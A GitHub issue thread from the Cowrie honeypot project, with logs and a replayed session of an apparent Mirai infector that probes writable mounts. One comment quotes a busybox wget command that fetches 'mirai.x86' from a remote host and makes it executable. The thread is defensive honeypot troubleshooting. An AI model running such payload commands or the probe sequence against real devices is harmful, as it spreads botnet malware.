2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/proc/sys/fs/binfmt_misc' > /proc/sys/fs/binfmt_misc/.nippon; /bin/busybox cat /proc/sys/fs/binfmt_misc/.nippon; /bin/busybox rm /proc/sys/fs/binfmt_misc/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/proc/sys/fs/binfmt_misc' > /proc/sys/fs/binfmt_misc/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: echo -e '\x6b\x61\x6d\x69/proc/sys/fs/binfmt_misc'
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox cat /proc/sys/fs/binfmt_misc/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: cat /proc/sys/fs/binfmt_misc/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox rm /proc/sys/fs/binfmt_misc/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: rm /proc/sys/fs/binfmt_misc/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/dev/mqueue' > /dev/mqueue/.nippon; /bin/busybox cat /dev/mqueue/.nippon; /bin/busybox rm /dev/mqueue/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/dev/mqueue' > /dev/mqueue/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox cat /dev/mqueue/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: cat /dev/mqueue/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox rm /dev/mqueue/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: rm /dev/mqueue/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/dev/hugepages' > /dev/hugepages/.nippon; /bin/busybox cat /dev/hugepages/.nippon; /bin/busybox rm /dev/hugepages/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/dev/hugepages' > /dev/hugepages/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox cat /dev/hugepages/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: cat /dev/hugepages/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox rm /dev/hugepages/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: rm /dev/hugepages/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/kernel/debug' > /sys/kernel/debug/.nippon; /bin/busybox cat /sys/kernel/debug/.nippon; /bin/busybox rm /sys/kernel/debug/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/kernel/debug' > /sys/kernel/debug/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox cat /sys/kernel/debug/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: cat /sys/kernel/debug/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox rm /sys/kernel/debug/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: rm /sys/kernel/debug/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/fuse/connections' > /sys/fs/fuse/connections/.nippon; /bin/busybox cat /sys/fs/fuse/connections/.nippon; /bin/busybox rm /sys/fs/fuse/connections/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/fuse/connections' > /sys/fs/fuse/connections/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox cat /sys/fs/fuse/connections/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: cat /sys/fs/fuse/connections/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox rm /sys/fs/fuse/connections/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: rm /sys/fs/fuse/connections/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/boot' > /boot/.nippon; /bin/busybox cat /boot/.nippon; /bin/busybox rm /boot/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/boot' > /boot/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: echo -e '\x6b\x61\x6d\x69/boot'
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox cat /boot/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: cat /boot/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox rm /boot/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: rm /boot/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/home' > /home/.nippon; /bin/busybox cat /home/.nippon; /bin/busybox rm /home/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/home' > /home/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: echo -e '\x6b\x61\x6d\x69/home'
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox cat /home/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: cat /home/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox rm /home/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: rm /home/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/proc/sys/fs/binfmt_misc' > /proc/sys/fs/binfmt_misc/.nippon; /bin/busybox cat /proc/sys/fs/binfmt_misc/.nippon; /bin/busybox rm /proc/sys/fs/binfmt_misc/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/proc/sys/fs/binfmt_misc' > /proc/sys/fs/binfmt_misc/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: echo -e '\x6b\x61\x6d\x69/proc/sys/fs/binfmt_misc'
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox cat /proc/sys/fs/binfmt_misc/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: cat /proc/sys/fs/binfmt_misc/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox rm /proc/sys/fs/binfmt_misc/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: rm /proc/sys/fs/binfmt_misc/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/run/user/1000' > /run/user/1000/.nippon; /bin/busybox cat /run/user/1000/.nippon; /bin/busybox rm /run/user/1000/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/run/user/1000' > /run/user/1000/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox cat /run/user/1000/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: cat /run/user/1000/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox rm /run/user/1000/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: rm /run/user/1000/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/dev' > /dev/.nippon; /bin/busybox cat /dev/.nippon; /bin/busybox rm /dev/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/dev' > /dev/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: echo -e '\x6b\x61\x6d\x69/dev'
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox cat /dev/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: cat /dev/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox rm /dev/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: rm /dev/.nippon
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] CMD: /bin/busybox ECCHI
2017-01-20T10:23:37+0200 [CowrieTelnetTransport,17,109.236.92.144] Command found: /bin/busybox ECCHI
2017-01-20T10:24:09+0200 [CowrieTelnetTransport,17,109.236.92.144] Closing TTY Log: log/tty/20170120-102336-None-17i.log after 32 seconds
2017-01-20T10:24:09+0200 [CowrieTelnetTransport,17,109.236.92.144] honeypot terminal protocol connection lost [Failure instance: Traceback (failure with no frames): <class 'twisted.internet.error.ConnectionLost'>: Connection to the other side was lost in a non-clean fashion.
2017-01-20T10:24:09+0200 [CowrieTelnetTransport,17,109.236.92.144] Connection lost after 37 seconds

@fe7ch
Copy link
Contributor

fe7ch commented Jan 22, 2017

@bontchev Could you please play this log and post the output?
You should execute from cowrie's folder something like:
bin/playlog log/tty/somelog

@fe7ch
Copy link
Contributor

fe7ch commented Jan 23, 2017

@bontchev

Any idea why not? What doesn't it like about the honeypot?

Finally, I've managed to inspect the sample. It was checking directories from /proc/mounts with "rw" attributes. If it didn't proceed with infection, then none of the files was correctly created. A replay of the attack may shed some light on the problem.

@bontchev
Copy link
Contributor Author

@FE7c, I no longer have that particular log - but I have tons of logs with hits from that very same attack pattern, so I played another one. (As an aside, the -w file option of playlog does not work - it doesn't seem to have been implemented at all.)

Here is the result of playing it. I have removed the ANSI escape sequences manually for clarity. As far as I can see, the reason is because some of the files could not be created:

/sys/kernel/security/.nippon
/sys/fs/cgroup/systemd/.nippon
/sys/fs/pstore/.nippon
/sys/fs/cgroup/cpuset/.nippon
/sys/fs/cgroup/cpu
/sys/fs/cgroup/cpu,cpuacct/.nippon
/sys/fs/cgroup/devices/.nippon
/sys/fs/cgroup/freezer/.nippon
/sys/fs/cgroup/net_cls,net_prio/.nippon
/sys/fs/cgroup/blkio/.nippon
/sys/fs/cgroup/perf_event/.nippon
/dev/mqueue/.nippon
/dev/hugepages/.nippon
/sys/kernel/debug/.nippon
/sys/fs/fuse/connections/.nippon
/run/user/1000/.nippon

I don't know if this is intentional or not from Cowrie's part. Or maybe the problem is that Cowrie doesn't handle correctly file names that contain a comma? Anyway, here's the playlog:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

root@svr04:~# enable
enable .
enable :
enable [
enable alias
enable bg
enable bind
enable break
enable builtin
enable caller
enable cd
enable command
enable compgen
enable complete
enable continue
enable declare
enable dirs
enable disown
enable echo
enable enable
enable eval
enable exec
enable exit
enable export
enable false
enable fc
enable fg
enable getopts
enable hash
enable help
enable history
enable jobs
enable kill
enable let
enable local
enable logout
enable popd
enable printf
enable pushd
enable pwd
enable read
enable readonly
enable return
enable set
enable shift
enable shopt
enable source
enable suspend
enable test
enable times
enable trap
enable true
enable type
enable typeset
enable ulimit
enable umask
enable unalias
enable unset
enable wait
root@svr04:~# shell
bash: shell: command not found
root@svr04:~# sh
root@svr04:~# /bin/busybox ECCHI
ECCHI: applet not found
root@svr04:~# /bin/busybox ps; /bin/busybox ECCHI
 PID TTY         TIME COMMAND
5673 pts/0       0:00 -sh
5679 pts/0       0:00 ps 
ECCHI: applet not found
root@svr04:~# /bin/busybox cat /proc/mounts; /bin/busybox ECCHI
rootfs / rootfs rw 0 0
sysfs /sys sysfs rw,nosuid,nodev,noexec,relatime 0 0
proc /proc proc rw,relatime 0 0
udev /dev devtmpfs rw,relatime,size=10240k,nr_inodes=997843,mode=755 0 0
devpts /dev/pts devpts rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000 0 0
tmpfs /run tmpfs rw,nosuid,relatime,size=1613336k,mode=755 0 0
/dev/dm-0 / ext3 rw,relatime,errors=remount-ro,data=ordered 0 0
securityfs /sys/kernel/security securityfs rw,nosuid,nodev,noexec,relatime 0 0
tmpfs /dev/shm tmpfs rw,nosuid,nodev 0 0
tmpfs /run/lock tmpfs rw,nosuid,nodev,noexec,relatime,size=5120k 0 0
tmpfs /sys/fs/cgroup tmpfs ro,nosuid,nodev,noexec,mode=755 0 0
cgroup /sys/fs/cgroup/systemd cgroup rw,nosuid,nodev,noexec,relatime,xattr,release_agent=/lib/systemd/systemd-cgroups-agent,name=systemd 0 0
pstore /sys/fs/pstore pstore rw,nosuid,nodev,noexec,relatime 0 0
cgroup /sys/fs/cgroup/cpuset cgroup rw,nosuid,nodev,noexec,relatime,cpuset 0 0
cgroup /sys/fs/cgroup/cpu,cpuacct cgroup rw,nosuid,nodev,noexec,relatime,cpu,cpuacct 0 0
cgroup /sys/fs/cgroup/devices cgroup rw,nosuid,nodev,noexec,relatime,devices 0 0
cgroup /sys/fs/cgroup/freezer cgroup rw,nosuid,nodev,noexec,relatime,freezer 0 0
cgroup /sys/fs/cgroup/net_cls,net_prio cgroup rw,nosuid,nodev,noexec,relatime,net_cls,net_prio 0 0
cgroup /sys/fs/cgroup/blkio cgroup rw,nosuid,nodev,noexec,relatime,blkio 0 0
cgroup /sys/fs/cgroup/perf_event cgroup rw,nosuid,nodev,noexec,relatime,perf_event 0 0
systemd-1 /proc/sys/fs/binfmt_misc autofs rw,relatime,fd=22,pgrp=1,timeout=300,minproto=5,maxproto=5,direct 0 0
mqueue /dev/mqueue mqueue rw,relatime 0 0
hugetlbfs /dev/hugepages hugetlbfs rw,relatime 0 0
debugfs /sys/kernel/debug debugfs rw,relatime 0 0
fusectl /sys/fs/fuse/connections fusectl rw,relatime 0 0
/dev/sda1 /boot ext2 rw,relatime 0 0
/dev/mapper/home /home ext3 rw,relatime,data=ordered 0 0
binfmt_misc /proc/sys/fs/binfmt_misc binfmt_misc rw,relatime 0 0
tmpfs /run/user/1000 tmpfs rw,nosuid,nodev,relatime,size=806668k,mode=700,uid=1000,gid=1000 0 0
ECCHI: applet not found
root@svr04:~# /bin/busybox echo -e '\x6b\x61\x6d\x69' > /.nippon; /bin/busybox cat /.nippon; /bin/busybox rm /.nippon
kami
root@svr04:~# /bin/busybox echo -e '\x6b\x61\x6d\x69/sys' > /sys/.nippon; /bin/busybox cat /sys/.nippon; /bin/busybox rm /sys/.nippon
kami/sys
root@svr04:~# /bin/busybox echo -e '\x6b\x61\x6d\x69/proc' > /proc/.nippon; /bin/busybox cat /proc/.nippon; /bin/busybox rm /proc/.nippon
kami/proc
root@svr04:~# /bin/busybox echo -e '\x6b\x61\x6d\x69/dev' > /dev/.nippon; /bin/busybox cat /dev/.nippon; /bin/busybox rm /dev/.nippon
kami/dev
root@svr04:~# /bin/busybox echo -e '\x6b\x61\x6d\x69/dev/pts' > /dev/pts/.nippon; /bin/busybox cat /dev/pts/.nippon; /bin/busybox rm /dev/pts/.nippon
kami/dev/pts
root@svr04:~# /bin/busybox echo -e '\x6b\x61\x6d\x69/run' > /run/.nippon; /bin/busybox cat /run/.nippon; /bin/busybox rm /run/.nippon
kami/run
root@svr04:~# /bin/busybox echo -e '\x6b\x61\x6d\x69' > /.nippon; /bin/busybox cat /.nippon; /bin/busybox rm /.nippon
kami
root@svr04:~# /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/kernel/security' > /sys/kernel/security/.nippon; /bin/busybox cat /sys/kernel/security/.nippon; /bin/busybox rm /sys/kernel/security/.nippon
-bash: /sys/kernel/security/.nippon: No such file or directory
cat: /sys/kernel/security/.nippon: No such file or directory
rm: cannot remove `/sys/kernel/security/.nippon': No such file or directory
root@svr04:~# /bin/busybox echo -e '\x6b\x61\x6d\x69/dev/shm' > /dev/shm/.nippon; /bin/busybox cat /dev/shm/.nippon; /bin/busybox rm /dev/shm/.nippon
kami/dev/shm
root@svr04:~# /bin/busybox echo -e '\x6b\x61\x6d\x69/run/lock' > /run/lock/.nippon; /bin/busybox cat /run/lock/.nippon; /bin/busybox rm /run/lock/.nippon
kami/run/lock
root@svr04:~# /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup/systemd' > /sys/fs/cgroup/systemd/.nippon; /bin/busybox cat /sys/fs/cgroup/systemd/.nippon; /bin/busybox rm /sys/fs/cgroup/systemd/.nippon
-bash: /sys/fs/cgroup/systemd/.nippon: No such file or directory
cat: /sys/fs/cgroup/systemd/.nippon: No such file or directory
rm: cannot remove `/sys/fs/cgroup/systemd/.nippon': No such file or directory
root@svr04:~# /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/pstore' > /sys/fs/pstore/.nippon; /bin/busybox cat /sys/fs/pstore/.nippon; /bin/busybox rm /sys/fs/pstore/.nippon
-bash: /sys/fs/pstore/.nippon: No such file or directory
cat: /sys/fs/pstore/.nippon: No such file or directory
rm: cannot remove `/sys/fs/pstore/.nippon': No such file or directory
root@svr04:~# /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup/cpuset' > /sys/fs/cgroup/cpuset/.nippon; /bin/busybox cat /sys/fs/cgroup/cpuset/.nippon; /bin/busybox rm /sys/fs/cgroup/cpuset/.nippon
-bash: /sys/fs/cgroup/cpuset/.nippon: No such file or directory
cat: /sys/fs/cgroup/cpuset/.nippon: No such file or directory
rm: cannot remove `/sys/fs/cgroup/cpuset/.nippon': No such file or directory
root@svr04:~# /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup/cpu,cpuacct' > /sys/fs/cgroup/cpu,cpuacct/.nippon; /bin/busybox cat /sys/fs/cgroup/cpu,cpuacct/.nippon; /bin/busybox rm /sys/fs/cgroup/cpu,cpuacct/.nippon
-bash: /sys/fs/cgroup/cpu: No such file or directory
cat: /sys/fs/cgroup/cpu: No such file or directory
cat: ,: No such file or directory
cat: cpuacct/.nippon: No such file or directory
rm: cannot remove `/sys/fs/cgroup/cpu': No such file or directory
rm: cannot remove `cpuacct/.nippon': No such file or directory
root@svr04:~# /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup/devices' > /sys/fs/cgroup/devices/.nippon; /bin/busybox cat /sys/fs/cgroup/devices/.nippon; /bin/busybox rm /sys/fs/cgroup/devices/.nippon
-bash: /sys/fs/cgroup/devices/.nippon: No such file or directory
cat: /sys/fs/cgroup/devices/.nippon: No such file or directory
rm: cannot remove `/sys/fs/cgroup/devices/.nippon': No such file or directory
root@svr04:~# /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup/freezer' > /sys/fs/cgroup/freezer/.nippon; /bin/busybox cat /sys/fs/cgroup/freezer/.nippon; /bin/busybox rm /sys/fs/cgroup/freezer/.nippon
-bash: /sys/fs/cgroup/freezer/.nippon: No such file or directory
cat: /sys/fs/cgroup/freezer/.nippon: No such file or directory
rm: cannot remove `/sys/fs/cgroup/freezer/.nippon': No such file or directory
root@svr04:~# /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup/net_cls,net_prio' > /sys/fs/cgroup/net_cls,net_prio/.nippon; /bin/busybox cat /sys/fs/cgroup/net_cls,net_prio/.nippon; /bin/busybox rm /sys/fs/cgroup/net_cls,net_prio/.nippon
-bash: /sys/fs/cgroup/net_cls: No such file or directory
cat: /sys/fs/cgroup/net_cls: No such file or directory
cat: ,: No such file or directory
cat: net_prio/.nippon: No such file or directory
rm: cannot remove `/sys/fs/cgroup/net_cls': No such file or directory
rm: cannot remove `net_prio/.nippon': No such file or directory
root@svr04:~# /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup/blkio' > /sys/fs/cgroup/blkio/.nippon; /bin/busybox cat /sys/fs/cgroup/blkio/.nippon; /bin/busybox rm /sys/fs/cgroup/blkio/.nippon
-bash: /sys/fs/cgroup/blkio/.nippon: No such file or directory
cat: /sys/fs/cgroup/blkio/.nippon: No such file or directory
rm: cannot remove `/sys/fs/cgroup/blkio/.nippon': No such file or directory
root@svr04:~# /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup/perf_event' > /sys/fs/cgroup/perf_event/.nippon; /bin/busybox cat /sys/fs/cgroup/perf_event/.nippon; /bin/busybox rm /sys/fs/cgroup/perf_event/.nippon
-bash: /sys/fs/cgroup/perf_event/.nippon: No such file or directory
cat: /sys/fs/cgroup/perf_event/.nippon: No such file or directory
rm: cannot remove `/sys/fs/cgroup/perf_event/.nippon': No such file or directory
root@svr04:~# /bin/busybox echo -e '\x6b\x61\x6d\x69/proc/sys/fs/binfmt_misc' > /proc/sys/fs/binfmt_misc/.nippon; /bin/busybox cat /proc/sys/fs/binfmt_misc/.nippon; /bin/busybox rm /proc/sys/fs/binfmt_misc/.nippon
kami/proc/sys/fs/binfmt_misc
root@svr04:~# /bin/busybox echo -e '\x6b\x61\x6d\x69/dev/mqueue' > /dev/mqueue/.nippon; /bin/busybox cat /dev/mqueue/.nippon; /bin/busybox rm /dev/mqueue/.nippon
-bash: /dev/mqueue/.nippon: No such file or directory
cat: /dev/mqueue/.nippon: No such file or directory
rm: cannot remove `/dev/mqueue/.nippon': No such file or directory
root@svr04:~# /bin/busybox echo -e '\x6b\x61\x6d\x69/dev/hugepages' > /dev/hugepages/.nippon; /bin/busybox cat /dev/hugepages/.nippon; /bin/busybox rm /dev/hugepages/.nippon
-bash: /dev/hugepages/.nippon: No such file or directory
cat: /dev/hugepages/.nippon: No such file or directory
rm: cannot remove `/dev/hugepages/.nippon': No such file or directory
root@svr04:~# /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/kernel/debug' > /sys/kernel/debug/.nippon; /bin/busybox cat /sys/kernel/debug/.nippon; /bin/busybox rm /sys/kernel/debug/.nippon
-bash: /sys/kernel/debug/.nippon: No such file or directory
cat: /sys/kernel/debug/.nippon: No such file or directory
rm: cannot remove `/sys/kernel/debug/.nippon': No such file or directory
root@svr04:~# /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/fuse/connections' > /sys/fs/fuse/connections/.nippon; /bin/busybox cat /sys/fs/fuse/connections/.nippon; /bin/busybox rm /sys/fs/fuse/connections/.nippon
-bash: /sys/fs/fuse/connections/.nippon: No such file or directory
cat: /sys/fs/fuse/connections/.nippon: No such file or directory
rm: cannot remove `/sys/fs/fuse/connections/.nippon': No such file or directory
root@svr04:~# /bin/busybox echo -e '\x6b\x61\x6d\x69/boot' > /boot/.nippon; /bin/busybox cat /boot/.nippon; /bin/busybox rm /boot/.nippon
kami/boot
root@svr04:~# /bin/busybox echo -e '\x6b\x61\x6d\x69/home' > /home/.nippon; /bin/busybox cat /home/.nippon; /bin/busybox rm /home/.nippon
kami/home
root@svr04:~# /bin/busybox echo -e '\x6b\x61\x6d\x69/proc/sys/fs/binfmt_misc' > /proc/sys/fs/binfmt_misc/.nippon; /bin/busybox cat /proc/sys/fs/binfmt_misc/.nippon; /bin/busybox rm /proc/sys/fs/binfmt_misc/.nippon
kami/proc/sys/fs/binfmt_misc
root@svr04:~# /bin/busybox echo -e '\x6b\x61\x6d\x69/run/user/1000' > /run/user/1000/.nippon; /bin/busybox cat /run/user/1000/.nippon; /bin/busybox rm /run/user/1000/.nippon
-bash: /run/user/1000/.nippon: No such file or directory
cat: /run/user/1000/.nippon: No such file or directory
rm: cannot remove `/run/user/1000/.nippon': No such file or directory
root@svr04:~# /bin/busybox echo -e '\x6b\x61\x6d\x69/dev' > /dev/.nippon; /bin/busybox cat /dev/.nippon; /bin/busybox rm /dev/.nippon
kami/dev
root@svr04:~# /bin/busybox ECCHI
ECCHI: applet not found
root@svr04:~# 

@fe7ch
Copy link
Contributor

fe7ch commented Jan 23, 2017

As far as I understood, your cowrie produced too much text (8577 characters that is beyond trojan's limit of 8196 chars). You may cut half of "rw" folders from honeyfs/proc/mounts and test if it goes further.

@bontchev
Copy link
Contributor Author

@FE7c, yes, that was it. After reducing the contents of mounts, Mirai samples are now being captured. Perhaps it should be reduced in Cowrie's distribution, too; I haven't added anything to it myself.

Thanks for your help!

@funtimes-ninja
Copy link
Contributor

@fe7ch I finally followed the directions from this conversation in hoping of capturing these samples, however, my honeypot still seems to be ignoring the command /bin/busybox wget http://94.xxx.xxx.xxx:80/bins/mirai.x86 -O - > dvrHelper; /bin/busybox chmod 777 dvrHelper; /bin/busybox ECCHI

I added the directory bin under honeyfs and copied in the echo command

cowrie@Cowrie:/home/cowrie/cowrie/honeyfs/bin# ls -la
total 40
drwxrwxr-x 2 cowrie cowrie 4096 Feb 7 17:40 .
drwxrwxr-x 5 cowrie cowrie 4096 Feb 7 17:40 ..
-rwxr-xr-x 1 cowrie cowrie 31376 Feb 7 17:40 echo

Is there a step that I missed above to get the wget command to actually work?

@fe7ch
Copy link
Contributor

fe7ch commented Feb 8, 2017

Is there a step that I missed above to get the wget command to actually work?

@funtimes-ninja Since infector proceeded to excecute "wget" command, it's not a honeyfs issue anymore. Your cowrie failing either because of busybox issue or because of wget with -O - flag. Did you apply my busybox hotfix?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

5 participants